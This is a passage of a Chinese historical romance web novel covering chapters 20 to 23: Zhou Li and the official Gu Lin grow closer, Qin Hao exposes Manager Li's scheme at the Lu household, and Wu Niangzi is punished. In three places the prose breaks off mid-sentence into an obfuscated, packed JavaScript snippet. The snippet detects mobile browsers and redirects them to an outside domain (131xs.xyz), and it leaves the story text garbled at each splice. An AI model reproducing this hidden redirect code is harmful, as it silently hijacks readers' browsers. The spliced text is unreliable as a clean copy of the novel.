王氏咬牙切齿：“我宁愿不要这好处，我才跟你的时候，何曾贪图过你这些好处？现在总是提心吊胆，又有什么好过？” 说着竟哽咽起来，李掌柜本还想反驳，见她这样，心里也不是滋味，正想上前安慰两句，突然一阵拍门声响起，二人惊得抬头，面面相觑。 20. 情愫 周梨从未觉得车轮辘辘之声，如此悦耳，弥漫在窄小的车厢里，即使沉默着也不觉沉闷。有那么一刻，她望着顾临，竟希望这一路永远也不要走完才好，顾临见她神思飘忽，也探究地看着她。 然而这韵律很快就戛然而止，顾临先下了车，周梨暗暗责怪自己，不该生这些不该有的心思，也跟着跳下车。她没想到顾临下车后，转过身来伸手要扶她，她已收不住动作，堪堪一脚踩上了顾临的靴子，脚脖子一崴，撞到了他怀里。 旁边的平安和程顺立马转头，看向了前方。 周梨丢人之余，有熟悉的痛感袭来，又是上次受伤那只脚。她好容易挣脱出顾临的怀抱：“大人，对不住，我不是故意的。” 顾临却依旧扶着她胳膊：“脚崴着了吗？” “不妨事。”周梨说着不经意间挣开顾临的手，要往前走。 这时程顺用胳膊肘捣了捣平安，又给他使了个眼色，平安才想起来，喊了声“驾”，等马车走了好远才问道：“我一个人去停车不就行了，你怎么不下来？” 程顺白了他一眼：“也不知道你怎么能跟大人这么久的？” “嘿，你什么意思？” 辘辘声渐渐听不见了，周梨才费劲地瘸到大门口，大约上次的伤没好彻底，竟越走越疼得厉害。她望着高高的门槛深吸了一口气，正准备抬脚，却突然被身后的顾临拦腰抱起，跨过了门槛。 周梨猝不及防：“多谢大人，可以放我下来了。” 顾临镇定自若地继续向前走着，没有放她下来的意思：“就非得让伤更严重吗？这里不会有人胡说八道的。” 周梨见他一副君子模样，倒显得自己扭捏了，便不再说话，任由他抱着。一路上心砰砰乱跳，双手不知放哪里合适，幸而并没遇着人。眼看着到了一间耳房门前，周梨正准备下来，却见朱妈刚好转了出来，看到他俩先是一愣，不过一息间，立马冲过去喜笑颜开道：“我来我来。” 说着便推开了耳房的门，顾临抱着周梨走了进去，把她放在椅子上坐下。 朱妈也跟着进来笑道：“没想到大人这么快就把姑娘接回来了，这才对嘛！” 周梨没明白朱妈什么意思，只是觉得她好像又误会了，跟她打了声招呼。 这时顾临蹲了下来，似乎想检查她的脚，周梨下意识缩了缩脚。顾临顿了顿，转头对朱妈道：“朱妈，周姑娘脚扭了，去拿些药酒来吧。” “好好，我去拿。”朱妈闻言笑着跑了出去。 顾临依旧半蹲着，抬头看她道：“你这只脚上次便没养好罢，不要再大意了。” 周梨笑道：“一点小伤，不要紧的，我自己会处理。” 顾临又望了望她，才起身在一旁坐了下来。 上次他亲眼见她差点被勒死，在她晕倒在他怀里那一刻，他切实感到了后怕中夹杂的庆幸。他抱着她等到平安驾来马车，又在马车里抱了她一路，他才终于明白了，他对这个姑娘从初见时，便生了不一样的情愫，这情愫在那一刻，突然在他心里野蛮生长，肆意蔓延缠绕，让他再也不能视而不见。 可她似乎心在别处，他听到她对秦皓说：“过去就是过去了，何必再执着。”哪里是在劝秦皓放手，分明满是遗憾和不甘。 一旁的周梨却在想，顾临对谁都这般好，还是只对自己不一样呢？又懊悔自己为什么要拒绝他的好意，懊悔完又暗骂自己贪心不足蛇吞象。既然知道不可能，又何苦越陷越深，自寻烦恼。 独自想了半晌，朱妈竟还没有回来，顾临依旧沉默着。周梨觉得这气氛古怪，特意寻了个话头：“大人刚才对秦皓说了什么吗？他什么都不知道吧？” 顾临闻言转头，目光深邃地看了她一眼：“他又不笨，我提醒了他两句，他也想到是李武设局了。” “大人想做什么？”周梨不解地问道。 “我需要用他。” “仁安堂的事，还是剿匪的事？” “都需要。” 周梨默默点了点头。 顾临望着她问道：“怎么了？” “我只是不想他再牵涉到我的事情里来。”周梨说完，转念笑道，“如果是大人需要他，那可就跟我无关啦！” 顾临又看了她一眼，便垂眸不再言语。 李掌柜夫妇交换了眼神，打算屏气凝神，不管是谁都装作不在，更何况这敲门声如此雄浑有力且急不可耐，他们现在没有心力去应付任何人。 他们大气不敢出地站了半晌，敲门声终于停了下来。二人才相对着喘了口气，就听门外有人喊道：“李掌柜，你别躲在里面不出声，我知道你在家，快开门。” 李掌柜一听是秦皓的声音，不好的预感更强烈了些，他来做什么？刚刚他到底去了哪里？ 可不等他多想，秦皓又大喊道：“李武，你再不出来，我真要踹门啦！” 李武一边挥手示意王氏先回房去，一边缓步走过去，声音倒是很急促：“来啦来啦！” 等他走到门前打开门闩时，王氏早已回了房，他笑道：“秦指挥，什么风把您吹来了？里面请。” 秦皓气道：“别装模作样，刚刚躲在里面做什么？” 李掌柜忙赔罪道：“敢情是我门开得慢了些，惹秦指挥生气了，确确实实在里屋才听见，还请秦指挥见谅。” 秦皓哼了一声，懒得跟他耍嘴皮子，只上前拉着他就走。 “哎哎，秦指挥你这是做什么？有话好好说，要带我去哪里？”李掌柜极力想挣脱开秦皓的手，奈何完全不是对手。起先他还一直说个不停，只是秦皓完全不理睬他，说到后来自己也没意思，闭了嘴任由秦皓拖着走。 直到秦皓拉着他直冲进陆府，他才又反抗起来。但秦皓一只手对付他已绰绰有余，另一只手则随手抓住个仆从就问道：“陆志远在哪里？我要见他。” 那人吓得结结巴巴，用手指着里面道：“老，老爷好像，好像在老夫人那里。” 秦皓心想正好，还不忘道了声谢，继续拖着李掌柜就往里走。 吴娘子闻声赶来，迎面拦住秦皓道：“敢问公子是何人，为何要闯我陆府？” 秦皓道：“在下永州卫指挥秦皓，想找陆老爷要个说法。” 李掌柜在秦皓身后向吴娘子直递眼色，吴娘子自然明白，对秦皓笑道：“原来是秦指挥，久仰久仰！今日不巧，老爷不在府里。若是我们陆家有谁得罪了指挥，指挥只管告诉我，我都是能做主的。” “别敷衍我，我知道陆志远在家，让开。”秦皓扯着李掌柜直接越过吴娘子，继续往里走。 “站住！”吴娘子不可置信地喊道，“纵然您是官，也没有私闯民宅的理。” 秦皓头也不回：“我就闯了，你现在就可以去吿官。” 吴娘子气极，喝令道：“来人，把他给我拿下。”一时间一二十个人高马大的护院，拿着棍棒挡在秦皓面前。 秦皓看这阵仗，不禁笑道：“来真格的？也好，好久没松筋骨了。”说着推开李掌柜，卷起袖子，大展起了拳脚。那些护卫也的确有些功夫，但单打独斗，却是上前一个被撂倒在地一个。护卫门见这人不是善茬，立马改变战略，跑起来站了个圈，将秦皓围在了中间，分开四面八方攻击。秦皓越发来了兴致，酣战起来，早把李掌柜忘在一边。 李掌柜趁机跑到吴娘子身边，小声交代了几句，便蹑手蹑脚跑出了陆府大门。 这边没一会秦皓便撂倒了一半的护院，大概动静太大，陆老太太院里的丫头也纷纷跟着跑去看热闹。陆志远正在跟陆老太太商量婚礼宾客等各项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170606|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事宜，见屋外乱哄哄，不禁皱眉问道：“怎么回事，如此没有规矩？” 陆志远的随从陆良在屋外听到问话，赶忙走进屋内回道：“老爷，好像是有人闯进来，吴娘子喊了护院，跟那人打起来了。” “还有没有王法了。”陆志远怒气冲冲站起来，“娘，我出去看看。” 他说罢便走了出去，陆老太太看了眼旁边的徐妈妈，徐妈妈会意出门打听了两句，便回来对老太太道：“说是秦指挥扯着李掌柜进来找老爷要说法的，吴娘子一言不合就喊人打起来了。” 陆老太太将手中茶盏狠狠摔在了几上：“好啊，我就知道，陆良抢着回话给那贱人打掩护呢！胆大包天，连当官的也敢说打就打了，还把谁放在眼里？” 徐妈妈安抚道：“现在还不知道到底为着什么事呢，老夫人先消消气，等等看。” “住手，都给我退下！”陆志远往这边来的路上，已经知道了闯进来的是秦皓。一赶到便先将护院们都喝退了，再怒斥了几句吴娘子，最后对秦皓行了个大礼：“秦指挥恕罪，贱内无知，小人代她向指挥赔罪，望大人不记小人过，能饶过她。” 秦皓痛快打了一场，心情舒坦了许多，虽知他在做戏，也客气道：“在下也有些鲁莽，揭过不提也罢。” 吴娘子也上前赔了一礼，楚楚可怜道：“贱妾向来以夫为天，今日老爷交代了闭门谢客，贱妾愚钝且不知变通，现下才知道秦指挥是大官，贱妾早该通报老爷才对，还望秦指挥不要因为贱妾做的蠢事，怪罪老爷才好。”说罢便梨花带雨，懊悔自责之情不胜言表。 秦皓皱眉望着吴娘子，要不是知道了她对周梨做的那些事情，还真要觉得自己欺负了她。 “好了，秦指挥已经说了不提了，你这又是什么样子？”陆志远虽是在责怪，看着吴娘子却满是温柔安慰，而后才转头对着秦皓道，“秦指挥，有什么事请里面用些茶水，再慢慢说。” 秦皓抬手道：“不必，就在这里说，我不过要个说法。”顾大人交代了，就是要张扬，进了屋子他们俩才是一家人，肯定会互相遮掩，定要闹得老夫人知道才行。 陆志远见状拱手道：“不知小人哪里得罪了指挥？” 秦皓清了清嗓子，准备开始他来这要干的正事，正要开口，才发现李掌柜早跑了。他不禁骂道：“李武这个敢做不敢当的宵小玩意儿！” 陆志远问道：“李武做了什么？” 秦皓又哼了一声才道：“他今日设计引我去裕和茶楼和周梨会面，又找了一帮地痞流氓等着捉奸，幸好我机警没有去，否则跳到黄河也洗不清。” 陆志远听了不觉色变，不过转瞬就恢复如常：“不想秦指挥会遇到这样的事情，李武虽是我陆家药房的掌柜，他要真做了这样的事，也不归我管呀？更何况他做这样的事，于他有什么好处？秦指挥又可有什么证据？” “我不是拉他来对质嘛，奈何他竟然跑了！至于为什么找你，这不是明摆着要阻止你和周梨的婚事吗？你等我再把他抓回来。”秦皓说完抬脚便要走。 陆志远如此一探，知道他大概空口无凭，并无实证，便笑拦道：“秦指挥且慢，小人派人去喊他来，料想他不会不来的。”说着不等秦皓说话，就打发了陆良去找李武，如此不仅能拖延时间，也好和李武通个气，再找解决之法。虽然他很明白这事十有八九是真的，他也非常生气，但他必须先帮李武遮掩下来，再关起门来算账。 吴娘子见陆志远行事与自己料想一般，秦皓好像也不难对付，不觉松了口气。何况也没真的害到周梨，到时候在陆志远面前，哭诉下李武护她情切，才做下这糊涂事，事情大概也就过了。 可就在她松懈下来时，有几个人被押着进了陆府，当先一人正是刚跑掉的李武，这又是哪一出？ 21. 未娶 在漫长的沉默里，周梨总觉得顾临好像有点不高兴，她眼观鼻鼻观心，却始终静不下心。 转头看了眼顾临，不禁又满心赞叹他的侧脸比正脸更加好看些，睫毛又黑又长，鼻梁高挺笔直，嘴唇薄而坚毅。正欣赏着，顾临突然回头道：“跟你有关。” 周梨懵了一会才想明白他在说什么。 顾临继续道：“我让秦皓带着李武去陆家捅破这件事，他是为了你才去的。” “严超不还没审吗？无凭无据怎么捅破？”周梨显然跟他重点不同。 “有的，这件事还不需要严超的证词，留着他办其他的事。” 周梨好像有点明白：“所以是先给吴娘子和李掌柜一个教训？” 顾临点头：“嗯，屡次三番害人总要付出点代价。” 周梨摇摇头：“可陆志远肯定会袒护他们吧？” “不还有陆老夫人嘛！”顾临勾唇笑道，“若不是这婆媳二人不合，吴娘子也不会对你嫁进去，如此如临大敌吧？” 周梨打趣地笑道：“大人还挺清楚内宅之道。” 可话刚出口，一丝异样的情绪就袭上心头，周梨自从知道顾临就是自己未婚夫后，除了感慨自伤，还来不及想其他事情。刚刚提到“内宅”二字，仿佛触动了她的心弦，虽然已是过去，她却还是很在意，他的内宅呢？他后来又娶了谁？ 顾临摇头笑道：“深宅大院里，不外乎就这些事。” “大人的夫人在眉州老家还是尚在广东？”周梨突兀地问道，虽然知道不合适，她还是问出了口。 这突如其来的一句，让顾临也愣住了，他也才想到，原来她以为他有家室吗？也对，他都这般年纪了，没有家室才奇怪罢。所以周梨是因为以为他有家室，才如此避嫌吗？以她的性子自然不会与人作妾。 顾临回过神才抬眼看着周梨道：“我还不曾娶妻。” 这答案确是周梨没想到的，她呆呆地问道：“为何？” 顾临自嘲道：“因为有克妻之名，又被贬岭南，生死难料。” 这一句话的每个字，对周梨都是巨大的冲击。 周梨记得听说过，顾临曾被他母亲与手帕交指腹为婚，但那孩子出生没多久便夭折了，那时并没有“克妻”的说法。难道是因为她吗？别人都以为她投湖淹死那日，原本应是他们大婚之期。所以是两件事叠加在一起，才有了这个名号？ 被贬岭南又怎么回事？她在那年春闱放榜后特意查了邸报，见顾临榜上有名，她才放心，知道他没有被父亲的事情连累。他的名次定能入选翰林，前途无量，为何从云端跌落谷底？被贬岭南，差不多仕途无望，可怎么又生死难料？ 这些年他到底经历了什么？ 顾临以为周梨还要问他，为何没娶妻还会克妻，可她只是沉默着，不知在想什么。 这时出走半日的朱妈，终于拿着药瓶回来了：“我都找遍了，只剩下这么点，想着现买回来太慢了，就先拿过来了，应该够用。” 朱妈说完，见二人都心事重重的，无甚反应，她把药瓶放在了中间的安几上，蹲在周梨面前，要给她脱鞋袜。 周梨这才反应过来：“朱妈，我自己来。” “你自己不方便，待会又弄疼了。”朱妈手脚利索，话才说完，周梨就已经光着脚了。 她笑着又起身去拿药酒，打开瓶盖，突然眼珠子一转：“哎呦，瞧我这记性，我厨房里还炖着汤呢，得烧干了！” “我自己可…”周梨话还没说完，只见朱妈已拉起顾临的手，将瓶底朝天，仅剩的一点药酒，全倒在了他手上。口里边喊着：“大人你帮周姑娘抹，我去看锅。”边跑出了房门。 周梨望着门前消失的背影，无语极了。刚准备把鞋袜穿上，顾临已蹲下将她的脚托起，放在了他的膝上。 “大人，不敢……”周梨吓得要把脚往回缩，却被顾临一把按住：“僭越了。” 周梨听到这话忍不住笑了，想起在巡检司给他抹药时，自己便是像他这般做的。 顾临也看着她笑了笑，双手将药酒搓匀，在她红肿的脚踝处轻轻按压起来，温柔细致到了极致。 周梨见他如此，心内百感交集，不觉红了眼眶。 “你自己就是大夫，这脚伤上次就该好好养好才是。”顾临看她的脚红肿异常，料想她上次就没好好养伤，不过接连遇到这些事情，也难为她了。他微微叹了口气，还想再说点什么，抬眼却对上她泫然欲泣的双眼。 顾临心口突然一窒，仿佛这眼里的万般情绪，他能感同身受。 两人就这样相对无言，却又好像倾诉了千言万语。 周梨的眼泪终于忍不住滚落下来，顾临从怀中掏出帕子，才要抬手拭泪，就听平安人未到，声先到：”大人，要把严超带上来审吗？马齐审半天……”他刚走到门口，还没反应过来看到了什么，就被程顺捂着嘴，拖走了。 周梨才觉失态，伸手接过了帕子，转头擦起了眼泪。顾临迅速地给她穿上了袜子：“脚也有些肿了，鞋就不穿了吧。” 周梨只讷讷点头，看着顾临轻轻把她的脚从膝上移下，又坐回了原来的位置。 门外平安才掰下程顺的手，幽幽问道：“我是不是又做错事了？” 程顺不语，只给了他个白眼。 平安心里七上八下，正想着怎么补救，就听顾临喊道：“进来吧。” 平安紧张地硬扯着程顺一同进了屋，只颤巍巍站着。 顾临提起茶壶，先给周梨倒了杯茶，又给自己倒了杯，喝完才开口道：“怎么不说话了？” 平安听这口气更害怕了，自己虽然没什么眼色，但毕竟是自小跟着的，顾临什么脾性，他再清楚不过，这明显很不高兴。 程顺见他如此，只好上前道：“严超那厮油滑得很，只咬定说今天有人告诉他，看到他相好的红袖在裕和茶楼与人幽会，所以他才去带人捉奸的，还说他也没有闹什么事，我们抓他才是犯法的。大人要不要亲自审？” 顾临点了点头：“你们先把他带过来吧！” 程说称是，领命转身就走，平安灰溜溜也跟后面就跑了。 顾临转头又看了眼周梨，周梨还拿着帕子发呆，见顾临朝他看着，又如往常一般客气笑道：“大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186576|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的帕子，我洗干净了再还您。” 顾临又看了她一会儿，仿佛刚刚那一刻心意相通只是错觉。 秦皓看着随从秦关把李武给逮了回来，不禁拍手叫好：“好小子，干得漂亮！哪里逮到的？” 秦关凑到他耳边道：“我收到您的手信，就接收了那边交过来的人，按您的指示往陆府来的路上，刚好碰上了他，就把他也捆来了。” 原来顾临与秦皓商议好，由秦皓先带着李掌柜去陆府，后面他再安排，把牵扯这件事的人捉了送给秦皓的心腹带过来，秦皓留了手信给秦关，秦关却在路上看到李武，可不一起也抓了来。 秦皓笑着转身对陆志远道：“这下人证可都带来了，陆老爷要不要亲自问问，李武到底为何害我和周梨，来破坏陆老爷的婚事？” 李武仍狡辩道：“冤枉啊，我今日陪贱内逛街，恰巧遇到周姑娘，就一起吃了个饭而已，我当真不知道秦指挥在说什么啊？不是什么事都没发生吗？” 吴娘子也帮腔道：“许是秦指挥真误会了，都是巧合罢，李掌柜对陆家忠心耿耿，怎么会做这样的事呢？” 陆志远看了眼绑来的另几人问道：“这几人又是做什么的？” 秦皓道：“他们都是天天在白衣巷盯着周梨动向的。” 陆志远手背到身后道：“那又如何能证明他们跟李掌柜有关系？” 李武连忙附和：“就是，我可不认识他们。” 陆志远又指着李武问哪几人道：“你们认识他是何人吗？” 几人立马会意，全都矢口否认。 秦皓气急败坏，扯出其中一人：“是不是你跟我说，你是周梨的邻居，看到李掌柜和周梨在裕和茶楼，现在告诉我不认识他？” 那人吓得直抖，不敢说话，陆志远见状脸色也变了。 秦皓继续道：“你们当我秦皓好欺负是吗？我把人带到你陆家来，不过以为你陆志远给身边人蒙蔽了，好心来提醒你，没想到你如此袒护。我倒要把这个人送到衙门里去，看他们查不查得到周梨有没有这么个邻居？查不查得到他到底与李武有没有干系？” 秦皓说完转身带人要走，陆志远忙拦道：“秦指挥，息怒息怒！我哪有袒护，不过问得仔细点，毕竟李武是我家得力的伙计，不能平白让人寒了心。秦指挥的好意我怎么不知？” 吴娘子也道：“秦指挥何必把事情闹大，我们心里清楚指挥与周姑娘没什么。要闹到官府去，不明事理的人，肯定又要嚼舌根，说指挥与周姑娘牵扯不清，倒闹得谁都没脸了。” 秦皓终于体会到这女子的厉害，瞪了她眼，转而对陆志远道：“既然陆老爷如此说，我就把人都留在这里，让陆老爷慢慢问，希望陆老爷问明白后，能给我个交代！” 陆志远听罢连声赔笑称好，秦皓见目的已达到，带着人告辞就走，但走了几步还是转回来，对着吴娘子不忿道：“别以为我不知道，李武就是你的胞兄。” 吴娘子突遭雷击，呆若木鸡，李武在一旁面如死灰。 而在秦皓走后，关于这件事情的点点滴滴，自然都一字不漏地传到了陆老夫人耳朵里。 22. 作戏 严超见了顾临，不敢抬头便跪倒在地：“大人，饶命，我是被冤枉的啊！” 顾临没有出声，只静静望着他。严超等了半天，不见回应，偷偷抬头观望，才发现周梨就坐在一旁，他不免怀疑自己有没有跪错人。再仔细想想，他被五花大绑套着头过来，也未进监牢，也没见一个穿官服的。 为什么会觉得是官府抓的他，不过是见到了平安，那日自称代他们家大人去仁安堂谢周梨。严超突然恍然大悟，巡抚大人怎会如此年轻？又怎会和周梨平起平坐？那日敲锣打鼓恐怕只是串通好演戏糊弄人，哪有官府如此行事的？今天也是在耍他呢！ 他自以为聪明绝顶，想通了关节，怒火中烧，突然窜起来指着顾临道：“你们这对狗男女，耍老子玩是吧？” 周梨本来还沉浸在感伤的情绪里，见他如此，不禁无语挑眉。顾临抬手阻止了要上前揍人的程顺，颇有兴致地道：“那又如何？” 严超道：“如何？你们假冒官府，还平白无故关押良民，是大罪！我要去官府告你们！” 说着就要往外走，却见程顺拿剑抱手挡在在门口，只好又瑟缩回来，收敛了些气焰道：“你们到底要做什么？” 顾临悠悠喝了口茶才道：“既然我敢光天化日冒充官府，你就该明白，没什么事是我不敢干的。官府办事还得有个章程，我可不用。像你这样的蝼蚁，我踩死一个不费吹灰之力。” 周梨尽量不露出震惊的神色，悄悄看着顾临表演。 严超将信将疑，抖着胆子问道：“你究竟是谁？” 顾临没有回答，只皱眉望了眼手中的茶盏道：“这茶味太浓，不好喝，去把昌州带来的，今年新晋的贡茶沏一壶拿上来，让美人也尝尝。” 平安虽不记得有这茶，还是识相地应承了声，退了下去。 严超却琢磨出来点意思，他虽没什么文化，但对市井传闻，永州城附近的风流人物，可是了如指掌。昌州来的，还喝贡茶，又是京城口音，年纪也对得上，那不是昌州安王世子是谁？ 祖制分封在外的诸王孙，无圣命不能擅离封地，但这位世子爷打小受太皇太后疼爱，养在京里，狂妄惯了，前几年才回了昌州。如今安王声势又盛，他更嚣张跋扈，四处搜罗美人，吃喝玩乐，欺男霸女，地方官员没有一个敢吱声，不是睁只眼闭只眼，便是上赶着奉承迎合。 要真碰着这位，自己可真吃不了兜着走，严超一下瘫软了下来，又跪倒在地：“世子爷饶命，世子爷饶命。” 周梨用帕子掩住半张脸，又震惊地看了眼严超。 顾临向椅背靠去，双手搭在扶手上，玩世不恭道：“今日美人受了委屈，眼睛都哭红了。我最见不得美人落泪，应承了她，定要替她出这口气，若是不说到做到，面子往哪里搁事小，惹美人伤心事大，你说是也不是？” 严超不知所措地看了眼周梨，周梨立马拿着帕子拭泪，凄楚道：“公子惯会甜言蜜语哄人开心，却连这点小事也不肯出力的，跟他费嘴皮子做什么？李掌柜与我共事多年，待我如兄如父，又怎会蓄意害我，那么除了他还能有谁？上次在仁安堂，也是他对我出言不逊。我看公子就是怕把人打死打残了惹麻烦，可见对我也不是真心！”说完又梨花带雨地哭了起来。 程顺、马齐被这两人整得目瞪口呆，顾临也没料到周梨比他还能演，侧身过去夺过帕子，又亲手为美人拭泪，软语安慰，直到周梨止住了泪痕，才冷冰冰对程顺道：“就按美人说的，拖出去打死罢了。” 严超一瞬间如坠冰窖，连连叩头求饶：“真不是我要害周姑娘，是李掌柜，是李掌柜！” 周梨指着他厉声道：“你莫要空口白牙诬陷好人！” “我跟姑娘无仇无怨，好好地费劲心机害你做什么？真是李掌柜今天上午找我，让我演这么一出的。” 顾临冷冷道：“你有什么证据吗？平白无故又为何要帮他？” “证据？我有什么证据？”严超急于攀扯住李武，撇清自己，差不多想到什么说什么：“有有，他今天给了我五十两银子，还有上次给我的五十两银子，都是私银，永州城不多见的，他家里肯定还有。” 顾临问道：“上次又为何给你银子？就算是私银一百两对他来说也不是小数目吧？你就这样信口栽赃，是当我傻吗？拉出去！” 程顺、马齐上前一边一个胳膊把严超架起，严超死命边往下赖边喊道：“我没有，我没有，上次他让我帮忙在仁安堂闹事，给我的，周姑娘也在场，她可以作证的。” 周梨无辜道：“我只看见你闹事，还砸破了李掌柜的脑袋。这不更无稽之谈吗？李掌柜花五十两银子，买你在他掌管的仁安堂闹事，砸破自己的脑袋？你说出来自己信吗？” 严超忙道：“不，不，他花五十两是为了让我闹事，引出后院的衙差，还说如果我被抓了，他一定疏通关系保我无事，还另外补偿我五十两。” 他一口气把想到的、能说的，都说了个干净。周梨、顾临闻言对望了一眼，果然如他们料想的一般。 周梨假装仔细思索了一番才点头道：“这么说倒还真有那么回事，那两个衙差是都出来了，当时我还奇怪李掌柜头都破了，为何还不告这人。如果真像他说的那样，倒真能说得通。” 严超终于抓住了根救命稻草：“就是这样的，就是这样的，我没说谎。” 周梨伸手摇着顾临胳膊道：“口说无凭，您让人给他录个供状，按个手印，我们去找李掌柜算账，今天您一定要给我做主。” 顾临宠溺笑道：“好，美人说什么就是什么。” 周梨闻言笑着对严超道：“只是你可愿意？” “我愿意我愿意！”严超抢着应道，生怕他们反悔似的。 周梨又收起笑容：“只是不得有一句假话，要是事后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199747|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矢口否认，你自己清楚后果呦！” 严超道：“小的不敢小的不敢，如果敢这样做，不用世子爷动手，我自己天打雷劈，不得好死。” “好了，不要再搅扰我与美人雅兴了。带下去关起来吧，收拾了姓李的之前，不许放出来。”顾临手支着下巴看着周梨的方向，不耐烦地对严超挥了挥手，程顺、马齐终于真的架起他带了出去。 等人都出去了，顾临、周梨二人都恢复了正常的坐姿，不觉又对望了一眼，都觉有些好笑，临场发挥，虽矫揉造作了些，倒是默契。 周梨笑完问道：“大人，为什么李掌柜非要置孟书吏于死地？” 顾临道：“孟书吏的遗孀告诉我，她儿子去省城求学，几年不曾归家，这几个月更是连书信也没了一封，她不知道孟书吏都在做什么，但做的事一定跟儿子有关。” “所以孟书吏可能是被胁迫？儿子消失导致他们闹掰？” 顾临点头：“我是如此猜想，我来后告诉他们，以前所有通匪案底，如若自首，一概一笔勾销，倒真有两个主动交代的。孟书吏可能以此反过来胁迫李掌柜，要他儿子的消息，所以才日日去你们药房，李掌柜怕暴露，没法才下了杀手。” 周梨继续问道：“可是为什么孟书吏不直接跟背篓客这些人传递消息，非要在仁安堂多李掌柜这一道？” “我的衙门里都有好几个眼线，其他衙门可能更多。各个渠道消息不断，真假难辨，多线传递太杂乱无章，在仁安堂汇总甄别，再筛选有用信息，统一交到下线，岂不更有序？” 周梨是没想到这点：“还挺有做情报组织的潜质。” 顾临道：“这可不就是个情报组织，否则王雄为何要在我眼皮底下杀人灭口？只为保下仁安堂。我从广东来上任的消息，没通报永州，但昌州打听到了，昌州秘传到永州，不到一天功夫，山匪就安排了对我的截杀。” 周梨望着他，想起“生死难料”这四个字，是不是这种情形，他已经经历过很多次，再看前方尽是艰难险阻，他是否都能顺利越过？ 顾临见她突然不说话了，问道：“怎么了？” 周梨认真道：“只是觉得大人处境艰难，希望大人能一直平平安安。” 顾临看她似乎真的担心，笑道：“会的。” 周梨略感宽慰，继续问道：“那大人下一步打算做什么？” 顾临道：“自然是再给陆志远找些麻烦，否则你真要嫁进去了。” 周梨沉默了一会才道：“其实大人不用顾虑我而急于行事，就算嫁进去了，他也不喜欢我，不会对我怎么样，等大人抓了他，我就又自由了。” 顾临有些讶异：“那怎么能一样？” 周梨笑道：“哪里不一样？嫁过人再嫁不了好人家了吗？” 顾临没有回应，周梨仿佛自言自语般道：“我此生本来就不打算再嫁人的。” 23. 离心 陆老夫人屋内仿佛空气都变得凝重，服侍的小丫鬟上完茶，立马退回角落，低垂着头，大气也不敢出一口，生怕一点不对劲，自己也被殃及。 吴娘子已经双腿发麻，还是直挺挺地跪着丝毫不敢懈怠。 陆老夫人终于开口打破沉默，问旁边坐着的陆志远道：“你打算跟秦指挥怎么交代？” 陆志远答道：“李武已然承认了是他一时糊涂，自作主张，幸而事情未成，我亲自上门赔礼道歉就好了。” 一只茶盏被猛地掷到地上，破碎的瓷片四溅，吴娘子感到脸上一阵刺痛，却忍着没敢出声，伸手摸了一把，果然沾上了血渍。 陆老夫人怒气冲冲：“他一时糊涂？我看你们是欺我老糊涂了！既然是嫡亲的兄长，为何要偷着瞒着不让我知道？我能相信这事儿跟她一点关系都没有？若不是她不想周梨进门，李武为什么要做这样的事？” 陆志远道：“他只是护妹心切……” “别敷衍我！”陆老夫人使劲拍了拍桌子，转而对吴娘子道，“我现在倒是想知道，上次周梨被掳，是不是也是你们干的？” 陆志远像是被提醒了，也朝吴娘子看去。 吴娘子对着陆志远质疑的眼神，泪珠滚滚道：“我没有，老爷你知道我的，为了操办婚事，我哪一件不是尽心尽力，只为把老爷跟周姑娘的婚礼办得风风光光，我何曾存了要破坏这门亲事的心思？” 陆志远想到这段时间她确实每事亲力亲为，忙到深夜，心里本能地排斥这个可能，也帮腔道：“娘，您也知道，她最是温柔和顺的，怎么会做这样的事？” 陆老夫人斥道：“是你猪油蒙了心，表面功夫谁不会做？” 陆志远还想帮着反驳，却又找不到有利的佐证。 陆老夫人又对着吴娘子道：“别哭了，你这不值钱的眼泪也就能哄哄他，可骗不了我。如果跟你没干系，平日那般温柔和顺，今日为何又如此嚣张跋扈，非要拦着人不让进我这里来，连朝廷官员都敢随意打骂？” 吴娘子继续狡辩道：“是老爷今日说要出门谢客，我只是……” “不要跟我说这些笑话”，陆老夫人打断了他的话，喝令道：“来人，把她给我拖下去关起来，明天喊牙婆子来领走！” 吴娘子以为自己听错了，愣在那里，一时没有反应。听到命令的下人，也都互相观望，不敢上前。 陆老夫人见状，又摔了个茶盏喊道：“怎么我说的话不管用了吗？” 下人们不敢再怠慢，有两个冲上来拖着吴娘子就走，吴娘子大喊：“老爷救我！老爷救我！”。 陆志远忙跪下来道：“娘，何至于此？” 陆老夫人却没有理他，看那两人停下来，又催促道：“只管拉下去！” 等到吴娘子被拖出了房门，听不见声了，她才对陆志远道：“哪里不至于？这些年我虽不喜欢她，但到底没苛待她，你瞧她现在被你纵得如何胆大妄为！你当真相信这些事情跟她都没关系？” 陆志远想肯定地回答，心里却清楚他娘说的不无道理。 